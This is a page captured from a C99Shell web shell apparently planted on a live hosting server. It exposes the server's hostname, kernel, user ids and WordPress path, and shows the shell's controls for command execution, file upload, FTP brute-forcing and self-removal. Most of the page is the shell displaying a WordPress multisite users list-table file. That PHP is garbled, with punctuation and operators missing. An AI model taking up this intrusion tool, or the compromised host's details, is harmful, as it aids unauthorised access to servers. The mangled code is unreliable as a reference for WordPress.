!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-admin/includes/   drwxr-xr-x
Free 182.34 GB of 490.84 GB (37.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wp-ms-users-list-table.php (12.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * List Table API: WP_MS_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table for the network admin.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_MS_Users_List_Table extends WP_List_Table {
    
/**
     *
     * @return bool
     */
    
public function ajax_user_can() {
        return 
current_user_can'manage_network_users' );
    }

    
/**
     *
     * @global string $usersearch
     * @global string $role
     * @global wpdb   $wpdb
     * @global string $mode
     */
    
public function prepare_items() {
        global 
$usersearch$role$wpdb$mode;

        
$usersearch = isset( $_REQUEST['s'] ) ? wp_unslashtrim$_REQUEST['s'] ) ) : '';

        
$users_per_page $this->get_items_per_page'users_network_per_page' );

        
$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

        
$paged $this->get_pagenum();

        
$args = array(
            
'number' => $users_per_page,
            
'offset' => ( $paged-) * $users_per_page,
            
'search' => $usersearch,
            
'blog_id' => 0,
            
'fields' => 'all_with_meta'
        
);

        if ( 
wp_is_large_network'users' ) ) {
            
$args['search'] = ltrim$args['search'], '*' );
        } else if ( 
'' !== $args['search'] ) {
            
$args['search'] = trim$args['search'], '*' );
            
$args['search'] = '*' $args['search'] . '*';
        }

        if ( 
$role === 'super' ) {
            
$logins implode"', '"get_super_admins() );
            
$args['include'] = $wpdb->get_col"SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" );
        }

        
/*
         * If the network is large and a search is not being performed,
         * show only the latest users with no paging in order to avoid
         * expensive count queries.
         */
        
if ( !$usersearch && wp_is_large_network'users' ) ) {
            if ( !isset(
$_REQUEST['orderby']) )
                
$_GET['orderby'] = $_REQUEST['orderby'] = 'id';
            if ( !isset(
$_REQUEST['order']) )
                
$_GET['order'] = $_REQUEST['order'] = 'DESC';
            
$args['count_total'] = false;
        }

        if ( isset( 
$_REQUEST['orderby'] ) )
            
$args['orderby'] = $_REQUEST['orderby'];

        if ( isset( 
$_REQUEST['order'] ) )
            
$args['order'] = $_REQUEST['order'];

        if ( ! empty( 
$_REQUEST['mode'] ) ) {
            
$mode $_REQUEST['mode'] === 'excerpt' 'excerpt' 'list';
            
set_user_setting'network_users_list_mode'$mode );
        } else {
            
$mode get_user_setting'network_users_list_mode''list' );
        }

        
/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
        
$args apply_filters'users_list_table_query_args'$args );

        
// Query the user IDs for this page
        
$wp_user_search = new WP_User_Query$args );

        
$this->items $wp_user_search->get_results();

        
$this->set_pagination_args( array(
            
'total_items' => $wp_user_search->get_total(),
            
'per_page' => $users_per_page,
        ) );
    }

    
/**
     *
     * @return array
     */
    
protected function get_bulk_actions() {
        
$actions = array();
        if ( 
current_user_can'delete_users' ) )
            
$actions['delete'] = __'Delete' );
        
$actions['spam'] = _x'Mark as Spam''user' );
        
$actions['notspam'] = _x'Not Spam''user' );

        return 
$actions;
    }

    
/**
     * @access public
     */
    
public function no_items() {
        
_e'No users found.' );
    }

    
/**
     *
     * @global string $role
     * @return array
     */
    
protected function get_views() {
        global 
$role;

        
$total_users get_user_count();
        
$super_admins get_super_admins();
        
$total_admins count$super_admins );

        
$class $role != 'super' ' class="current"' '';
        
$role_links = array();
        
$role_links['all'] = "<a href='" network_admin_url('users.php') . "'$class>" sprintf_nx'All <span class="count">(%s)</span>''All <span class="count">(%s)</span>'$total_users'users' ), number_format_i18n$total_users ) ) . '</a>';
        
$class $role === 'super' ' class="current"' '';
        
$role_links['super'] = "<a href='" network_admin_url('users.php?role=super') . "'$class>" sprintf_n'Super Admin <span class="count">(%s)</span>''Super Admins <span class="count">(%s)</span>'$total_admins ), number_format_i18n$total_admins ) ) . '</a>';

        return 
$role_links;
    }

    
/**
     * @global string $mode
     * @param string $which
     */
    
protected function pagination$which ) {
        global 
$mode;

        
parent::pagination $which );

        if ( 
'top' === $which ) {
            
$this->view_switcher$mode );
        }
    }

    
/**
     *
     * @return array
     */
    
public function get_columns() {
        
$users_columns = array(
            
'cb'         => '<input type="checkbox" />',
            
'username'   => __'Username' ),
            
'name'       => __'Name' ),
            
'email'      => __'Email' ),
            
'registered' => _x'Registered''user' ),
            
'blogs'      => __'Sites' )
        );
        
/**
         * Filters the columns displayed in the Network Admin Users list table.
         *
         * @since MU
         *
         * @param array $users_columns An array of user columns. Default 'cb', 'username',
         *                             'name', 'email', 'registered', 'blogs'.
         */
        
return apply_filters'wpmu_users_columns'$users_columns );
    }

    
/**
     *
     * @return array
     */
    
protected function get_sortable_columns() {
        return array(
            
'username'   => 'login',
            
'name'       => 'name',
            
'email'      => 'email',
            
'registered' => 'id',
        );
    }

    
/**
     * Handles the checkbox column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_cb$user ) {
        if ( 
is_super_admin$user->ID ) ) {
            return;
        }
        
?>
        <label class="screen-reader-text" for="blog_<?php echo $user->ID?>"><?php echo sprintf__'Select %s' ), $user->user_login ); ?></label>
        <input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr$user->ID ?>" />
        <?php
    
}

    
/**
     * Handles the ID column output.
     *
     * @since 4.4.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_id$user ) {
        echo 
$user->ID;
    }

    
/**
     * Handles the username column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_username$user ) {
        
$super_admins get_super_admins();
        
$avatar    get_avatar$user->user_email32 );
        
$edit_link esc_urladd_query_arg'wp_http_referer'urlencodewp_unslash$_SERVER['REQUEST_URI'] ) ), get_edit_user_link$user->ID ) ) );

        echo 
$avatar;

        
?><strong><a href="<?php echo $edit_link?>" class="edit"><?php echo $user->user_login?></a><?php
        
if ( in_array$user->user_login$super_admins ) ) {
            echo 
' - ' __'Super Admin' );
        }
        
?></strong>
    <?php
    
}

    
/**
     * Handles the name column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_name$user ) {
        echo 
"$user->first_name $user->last_name";
    }

    
/**
     * Handles the email column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_email$user ) {
        echo 
"<a href='" esc_url"mailto:$user->user_email) . "'>$user->user_email</a>";
    }

    
/**
     * Handles the registered date column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @global string $mode
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_registered$user ) {
        global 
$mode;
        if ( 
'list' === $mode ) {
            
$date __'Y/m/d' );
        } else {
            
$date __'Y/m/d g:i:s a' );
        }
        echo 
mysql2date$date$user->user_registered );
    }

    
/**
     * @since 4.3.0
     * @access protected
     *
     * @param WP_User $user
     * @param string  $classes
     * @param string  $data
     * @param string  $primary
     */
    
protected function _column_blogs$user$classes$data$primary ) {
        echo 
'<td class="'$classes' has-row-actions" '$data'>';
        echo 
$this->column_blogs$user );
        echo 
$this->handle_row_actions$user'blogs'$primary );
        echo 
'</td>';
    }

    
/**
     * Handles the sites column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user The current WP_User object.
     */
    
public function column_blogs$user ) {
        
$blogs get_blogs_of_user$user->IDtrue );
        if ( ! 
is_array$blogs ) ) {
            return;
        }

        foreach ( 
$blogs as $val ) {
            if ( ! 
can_edit_network$val->site_id ) ) {
                continue;
            }

            
$path    = ( $val->path === '/' ) ? '' $val->path;
            echo 
'<span class="site-' $val->site_id '" >';
            echo 
'<a href="'esc_urlnetwork_admin_url'site-info.php?id=' $val->userblog_id ) ) .'">' str_replace'.' get_network()->domain''$val->domain $path ) . '</a>';
            echo 
' <small class="row-actions">';
            
$actions = array();
            
$actions['edit'] = '<a href="'esc_urlnetwork_admin_url'site-info.php?id=' $val->userblog_id ) ) .'">' __'Edit' ) . '</a>';

            
$class '';
            if ( 
$val->spam == ) {
                
$class .= 'site-spammed ';
            }
            if ( 
$val->mature == ) {
                
$class .= 'site-mature ';
            }
            if ( 
$val->deleted == ) {
                
$class .= 'site-deleted ';
            }
            if ( 
$val->archived == ) {
                
$class .= 'site-archived ';
            }

            
$actions['view'] = '<a class="' $class '" href="' esc_urlget_home_url$val->userblog_id ) ) . '">' __'View' ) . '</a>';

            
/**
             * Filters the action links displayed next the sites a user belongs to
             * in the Network Admin Users list table.
             *
             * @since 3.1.0
             *
             * @param array $actions     An array of action links to be displayed.
             *                           Default 'Edit', 'View'.
             * @param int   $userblog_id The site ID.
             */
            
$actions apply_filters'ms_user_list_site_actions'$actions$val->userblog_id );

            
$i=0;
            
$action_count count$actions );
            foreach ( 
$actions as $action => $link ) {
                ++
$i;
                
$sep = ( $i == $action_count ) ? '' ' | ';
                echo 
"<span class='$action'>$link$sep</span>";
            }
            echo 
'</small></span><br/>';
        }
    }

    
/**
     * Handles the default column output.
     *
     * @since 4.3.0
     * @access public
     *
     * @param WP_User $user       The current WP_User object.
     * @param string $column_name The current column name.
     */
    
public function column_default$user$column_name ) {
        
/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
        
echo apply_filters'manage_users_custom_column'''$column_name$user->ID );
    }

    public function 
display_rows() {
        foreach ( 
$this->items as $user ) {
            
$class '';

            
$status_list = array( 'spam' => 'site-spammed''deleted' => 'site-deleted' );

            foreach ( 
$status_list as $status => $col ) {
                if ( 
$user->$status ) {
                    
$class .= $col";
                }
            }

            
?>
            <tr class="<?php echo trim$class ); ?>">
                <?php $this->single_row_columns$user ); ?>
            </tr>
            <?php
        
}
    }

    
/**
     * Gets the name of the default primary column.
     *
     * @since 4.3.0
     * @access protected
     *
     * @return string Name of the default primary column, in this case, 'username'.
     */
    
protected function get_default_primary_column_name() {
        return 
'username';
    }

    
/**
     * Generates and displays row action links.
     *
     * @since 4.3.0
     * @access protected
     *
     * @param object $user        User being acted upon.
     * @param string $column_name Current column name.
     * @param string $primary     Primary column name.
     * @return string Row actions output for users in Multisite.
     */
    
protected function handle_row_actions$user$column_name$primary ) {
        if ( 
$primary !== $column_name ) {
            return 
'';
        }

        
$super_admins get_super_admins();
        
$edit_link esc_urladd_query_arg'wp_http_referer'urlencodewp_unslash$_SERVER['REQUEST_URI'] ) ), get_edit_user_link$user->ID ) ) );

        
$actions = array();
        
$actions['edit'] = '<a href="' $edit_link '">' __'Edit' ) . '</a>';

        if ( 
current_user_can'delete_user'$user->ID ) && ! in_array$user->user_login$super_admins ) ) {
            
$actions['delete'] = '<a href="' $delete esc_urlnetwork_admin_urladd_query_arg'_wp_http_referer'urlencodewp_unslash$_SERVER['REQUEST_URI'] ) ), wp_nonce_url'users.php''deleteuser' ) . '&amp;action=deleteuser&amp;id=' $user->ID ) ) ) . '" class="delete">' __'Delete' ) . '</a>';
        }

        
/**
         * Filters the action links displayed under each user in the Network Admin Users list table.
         *
         * @since 3.2.0
         *
         * @param array   $actions An array of action links to be displayed.
         *                         Default 'Edit', 'Delete'.
         * @param WP_User $user    WP_User object.
         */
        
$actions apply_filters'ms_user_row_actions'$actions$user );
        return 
$this->row_actions$actions );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0075 ]--